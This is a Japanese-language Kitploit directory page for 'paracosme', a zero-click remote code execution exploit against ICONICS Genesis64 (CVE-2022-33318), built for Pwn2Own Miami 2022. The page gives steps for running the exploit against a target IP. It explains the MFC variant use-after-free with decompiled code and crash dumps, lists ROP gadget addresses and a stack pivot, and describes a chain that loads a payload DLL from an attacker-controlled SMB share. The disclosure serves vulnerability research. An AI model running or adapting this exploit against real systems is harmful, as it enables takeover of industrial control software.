Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
paracosme — Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition. | Kitploit
ツール/GitHubGitHub/0vercl0k/paracosme
Vulnerability AnalysisExploitationSCADA/ICS SecurityPenetration TestingPayload DevelopmentBinary ExploitationArchived
GitHub0vercl0k/paracosme

paracosme

Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.

リポジトリを見る
90222年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Paracosme - CVE-2022-33318 - ICONICS Genesis64 におけるリモートコード実行

Paracosme は、ICONICS 製の Genesis64 スイート v10.97.1 を標的として私が作成したメモリ破壊エクスプロイトで、リモートコード実行を実現します。

このエクスプロイトは、S4x22 Conference で開催された Pwn2Own 2022 Miami コンテストで実演されました。詳細は、Pwn2Own ICS 2022 Miami に参加する: ICONICS Genesis64 におけるゼロクリックリモートメモリ破壊の悪用 で読むことができます。

この問題は CVSS で 9.8 と評価され、CVE-2022-33318 / ZDI-22-1041 が割り当てられました。これは修正され、Genesis64 10.97.2 で修正されました。ICSA-22-202-04 勧告と、ICONICS の ICONICS Suite のセキュリティ脆弱性に関するホワイトペーパー も読むことができます。

エクスプロイトコードは src/paracosme.py、クラッシュを引き起こす / 影響を受けるかどうかを確認する PoC は src/paracosme-poc.py、マシン上で実行されるペイロードは src/payload にあります。

影響を受けていますか?

影響を受けているかどうかを確認する最良の方法は、GenBroker64.exe に対して Page Heap を有効にし、サービスを再起動し、GenBroker64.exe にデバッガをアタッチし、サーバに対して paracosme-poc.py を実行することです。以下のようなクラッシュが発生するはずです:

クラッシュを確認するには、ターゲットプロセスにデバッガをアタッチする必要があります。そうしないと、アプリケーションはそれを無視します。

エクスプロイトの実行

このエクスプロイトは Windows でのみテストされていますが、Linux プラットフォームでも動作するはずです:

  1. impacket をインストールします: pip3 install impacket
  2. sc config lanmanserver start=disabled でマシン上で実行中の SMB サーバを無効にし、再起動します
  3. impacket のサンプルに含まれる smbserver.py で smbserver を起動します: python src\smbserver.py -smb2support x bin
  4. python src\paracosme.py --target <ip> でエクスプロイトを起動します

エクスプロイト

詳細については、Pwn2Own ICS 2022 Miami に参加する: ICONICS Genesis64 におけるゼロクリックリモートメモリ破壊の悪用 を参照してください。

脆弱性の概要

Paracosme は、GenBroker64 プロセスで見つかった use-after-free の問題を悪用して、Windows 21H2 x64 システム上でリモートコード実行を実現します。

大まかに言うと、GenBroker64 プロセスは TCP ポート 38080 で待ち受けし、クライアントとのハンドシェイク後にさまざまなパケットを逆シリアル化できます。私が見つけた問題は、ネットワークソケットから VARIANT を読み取る処理のコードにあります。基本的に variant は型と値です。この関数は一見すると適切に書かれており、特定の型のみをアンパックするように注意しています。そのコードは次のようになります:

root@kitploit:~
bool CheckVariantType(VARTYPE VarType) {
  if((VarType & 0x2FFF) != VarType) {
    return false;
  }

  switch(VarType & 0xFFF) {
    case VT_EMPTY:
    case VT_NULL:
    case VT_I2:
    case VT_I4:
    case VT_R4:
    case VT_R8:
    case VT_CY:
    case VT_DATE:
    case VT_BSTR:
    case VT_ERROR:
    case VT_BOOL:
    case VT_VARIANT:
    case VT_I1:
    case VT_UI1:
    case VT_UI2:
    case VT_UI4:
    case VT_I8:
    case VT_UI8:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
    case VT_FILETIME:
      return true;
      break;
    default:
      return false;
  }
}

size_t VariantTypeToSize(VARTYPE VarType) {
  switch(VarType) {
    case VT_I1: return 1;
    case VT_UI2: return 2;
    case VT_UI4:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
      return 4;
    case VT_I8:
    case VT_UI8:
    case VT_FILETIME:
      return 8;
    default:
      return 0;
  }
}

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
  VARTYPE VarType = Archive.ReadUint16();
  if((VarType & VT_ARRAY) != 0) {
      // Special logic to unpack arrays..
      return ..;
  }

  Size = VariantTypeToSize(VarType);
  if (Size) {
      Variant->vt = VarType;
      return Archive.ReadInto(&Variant->decVal.8, Size);
  }

  if(!CheckVariantType(VarType)) {
      // ...
      throw Something();
  }

  return Archive >> Variant;
}

この関数は、配列のアンパックと単純な variant 型の読み取りを自前で実装していますが、これら2つのいずれでもないものを受け取った場合は、archive インスタンスの operator>> に処理を委ねます。この archive インスタンスは、さまざまなオブジェクトのシリアル化と逆シリアル化を処理する Microsoft Foundation Class フレームワークによって提供されるオブジェクトです。このコードは実際にはオープンソースであり、C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp にありますが、ここに示します:

root@kitploit:~
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
  LPVARIANT pSrc = &varSrc;
// ...
  switch(pSrc->vt) {
// ...
    case VT_DISPATCH:
    case VT_UNKNOWN: {
      LPPERSISTSTREAM pPersistStream = NULL;
      CArchiveStream stm(&ar);
      CLSID clsid;
      ar >> clsid.Data1;
      ar >> clsid.Data2;
      ar >> clsid.Data3;
      ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
      SCODE sc = CoCreateInstance(clsid, NULL,
        CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
        pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
        (void**)&pSrc->punkVal);
      if(sc == E_INVALIDARG) {
        sc = CoCreateInstance(clsid, NULL,
          CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
          pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
          (void**)&pSrc->punkVal);
      }
      AfxCheckError(sc);
      TRY {
        sc = pSrc->punkVal->QueryInterface(
          IID_IPersistStream, (void**)&pPersistStream);
        if(FAILED(sc)) {
          sc = pSrc->punkVal->QueryInterface(
            IID_IPersistStreamInit, (void**)&pPersistStream);
        }
        AfxCheckError(sc);
        AfxCheckError(pPersistStream->Load(&stm));
      } CATCH_ALL(e) {
        if(pPersistStream != NULL) {
          pPersistStream->Release();
        }
        pSrc->punkVal->Release();
        THROW_LAST();
      }
      END_CATCH_ALL
      pPersistStream->Release();
    }
    return ar;
  }
}

この関数は、単純な型をアンパックするロジックもあるため、ほとんど平凡ですが、私の注意を引いたのは VT_DISPATCH / VT_UNKNOWN でした。

何だこれは? IPersistStream または IPersistStreamInit を実装する任意の COM オブジェクトのクラス ID を送信でき、IPersistream::Load を呼び出してオブジェクトを初期化することでそれをロードします。これは驚くべきことであり、奇妙な機能ですが、標準の Windows 10 で利用可能な COM オブジェクトに別のバグを見つける必要があるため、セキュリティの観点からはあまり興味深いとは思いませんでした。

では、以下のコードを詳しく見てみましょう:

root@kitploit:~
SCODE sc = CoCreateInstance(clsid, NULL,
  CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
  pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
  (void**)&pSrc->punkVal); <-------------- [[0]]

if(sc == E_INVALIDARG) {
  sc = CoCreateInstance(clsid, NULL,
    CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
    pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
    (void**)&pSrc->punkVal);
}

AfxCheckError(sc);
TRY {
  sc = pSrc->punkVal->QueryInterface(
    IID_IPersistStream, (void**)&pPersistStream);
  if(FAILED(sc)) {
    sc = pSrc->punkVal->QueryInterface(
      IID_IPersistStreamInit, (void**)&pPersistStream);
  }
  AfxCheckError(sc);
  AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
  if(pPersistStream != NULL) {
    pPersistStream->Release();
  }
  pSrc->punkVal->Release();
  THROW_LAST();
}

CoCreateInstance の呼び出しは、COM インスタンスポインタを pSrc->punkVal に直接書き込みます。これは、数フレーム先の呼び出し元に保存される結果の variant です。次に、IStreamPersist::Load が例外をトリガーすると、それがキャッチされ、IUnknown と IPersistStream の両方のインターフェイスで IUnknown::Release が呼び出され、COM オブジェクトが解放されて pSrc->punkVal がダングリングポインタになります。もう1つの興味深い点は、その後に catch ブロックが例外を再スローし、それが以下のコードによってキャッチされることです:

root@kitploit:~
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

この段階で、variant はすでに解放されていますが、その型と値は更新 / 変更されていないため、この VariantClear の呼び出しは2回目の IUnknown::Release をトリガーし、以下のクラッシュが発生します:

root@kitploit:~
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01          mov     rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????

0:006> kp
 # Child-SP          RetAddr           Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21

やった、これはかなり素晴らしい。上記は、IPersistStream を実装する COM オブジェクトをインスタンス化し、Load が呼び出されたときに例外をトリガーさせることで発生させられます。トリガーコードは paracosme-poc.py にあり、ターゲット上の GenBroker64.exe プロセスをクラッシュさせるはずです。また、GenBroker64.exe でページヒープを有効にすると、即座にクラッシュを確認できます。

RIP の奪取

variant に対して VariantClear が呼び出されると、それを解放するために Release メソッドへの仮想呼び出しがディスパッチされます。これは仮想呼び出しであるため、関数は vtable を読み取り、固定オフセットにある関数ポインタを取得して呼び出します。その前に、ole32!CFileMoniker インスタンスを再利用して制御データに置き換えるためにスレッドを競合させます (RacerThread_t を参照)。その結果、vtable ポインタを制御でき、RIP を乗っ取るまであと1命令のところまで到達します。以下は、@rcx が完全に制御できるチャンクを指しているときの対応するアセンブリ命令です:

root@kitploit:~
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb  mov     rax,qword ptr [rcx]
00007ffb`0df751ce  mov     rax,qword ptr [rax+10h]
00007ffb`0df751d2  call    qword ptr [00007ffb`0df82660]

0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40  jmp     rax

再利用したチャンクを完全に制御できるため、@rax も制御できます。制御フローを乗っ取るには、@rip を乗っ取るために使用する値へのポインタに @rax を設定する必要があります。ここでの大きな問題は ASLR であり、情報漏洩がありません。

幸いなことに、GenBroker64.exe モジュールには動的ベースがありません。つまり、チェーンを開始するための興味深いガジェットを指す場所を見つけるために、このモジュールを使用できます。

root@kitploit:~
0:012> !dh genbroker64

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
            High entropy VA supported
            NX compatible
            Terminal server aware

ROP

最初に使用するガジェットは、(間接参照なしで) @rip を完全に制御できるようにするガジェットです:

root@kitploit:~
0:011> u poi(1400aed18)
00007ffb2137ffe0   sub     rsp,38h
00007ffb2137ffe4   test    rcx,rcx
00007ffb2137ffe7   je      00007ffb`21380015
00007ffb2137ffe9   cmp     qword ptr [rcx+10h],0
00007ffb2137ffee   jne     00007ffb`2137fff4
 ...
00007ffb2137fff4   and     qword ptr [rsp+40h],0
00007ffb2137fffa   mov     rax,qword ptr [rcx+10h]
00007ffb2137fffe   call    qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]

次に使用するガジェットのアドレスは、再利用するチャンク (@rcx が指す) のオフセット +0x10 に配置できるため、これは素晴らしいです。

2番目に使用するガジェットは、スタックを完全に制御できる再利用済みヒープチャンクにピボットします:

root@kitploit:~
0:008> u 14005bd25
000000014005bd25   mov     esp,ecx
000000014005bd27   cmp     byte ptr [1400fe788],0
000000014005bd2e   je      000000014005bebc
...
000000014005bebc   lea     r11,[rsp+60h]
000000014005bec1   mov     rbx,qword ptr [r11+30h]
000000014005bec5   mov     rbp,qword ptr [r11+38h]
000000014005bec9   mov     rsi,qword ptr [r11+40h]
000000014005becd   mov     rsp,r11
000000014005bed0   pop     r15
000000014005bed2   pop     r14
000000014005bed4   pop     r13
000000014005bed6   pop     r12
000000014005bed8   pop     rdi
000000014005bed9   ret

面白いことに、ヒープチャンクのアドレスは、(常に?) 32ビット整数に収まる場所に配置されるようです。そのため、mov esp, ecx が正しく機能します。

この時点で ROP は手に入りましたが、スペースがそれほど多くないため、かなりもどかしかったです。私は星を整列させることに多くの時間を費やし、最終的に、ペイロードをホストする DLL ファイルを指すリモート SMB パスを指定して LoadLibraryW を呼び出す一連のガジェットを考案しました。チェーンの詳細に興味がある場合は、paracosme.py@241 を参照してください。

著者

  • Axel '0vercl0k' Souchet
ツールをダウンロード